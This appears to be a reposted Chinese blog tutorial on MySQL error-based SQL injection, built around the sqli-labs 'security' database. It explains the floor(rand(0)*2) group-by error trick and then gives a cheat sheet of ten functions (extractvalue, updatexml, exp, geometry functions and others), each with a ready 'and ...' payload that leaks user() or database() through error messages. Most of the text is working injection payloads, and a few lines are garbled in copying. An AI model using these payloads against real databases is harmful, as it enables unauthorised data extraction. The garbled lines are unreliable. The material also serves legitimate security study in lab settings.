floor报错产生的条件: (自定义数据库的一张表)
select count(*) ,floor(rand(0)*2)x from security.users group
by x;
x是floor(rand(0)*2)的别名
报错结果entry后面的值1是根据mysql报错原理决定
报错位置是在floor(rand(0)*2)

思路:
在报错位置处,用concat()拼接我们想要的语句,产生报错即可输出我们想要的结
果。
过程分析:

首先我们来看下这个sql查询语句:
select ‘a’,concat(1,floor(rand(0)*2))x from security.users
group by x;

加上查询数据库的语句:
select ‘a’,concat(database(),floor(rand(0)2))x from security.users group by x;
select count(
),concat(database(),floor(rand(0)2))x from security.users group by x;
select count(
),concat(database(),floor(rand(0)*2))x from information_schema.schemata group by x;

Operand should contain 1 column(s)报错
因为这里select语句构建的是一个结果表,而and比较是需要一个布尔值,0或非零的
值。

因此我们可以嵌套一个基于前面结果表的一个select查询语句,而这个select的值是
非零数字:
select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.schemata group by x)a;

十大报错注入函数

floor()

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
  • 1

extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
  • 1

updatexml()

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
  • 1

geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
  • 1

multipoint()

select * from test where id=1 and multipoint((select *from(select * from(select user())a)b));
  • 1

polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
  • 1

multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
  • 1

linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
  • 1

multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
  • 1

exp()

select * from test where id=1 and exp(~(select * from(select user())a));
  • 1
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小丑西瓜9/article/detail/222632
推荐阅读
相关标签
  

闽ICP备14008679号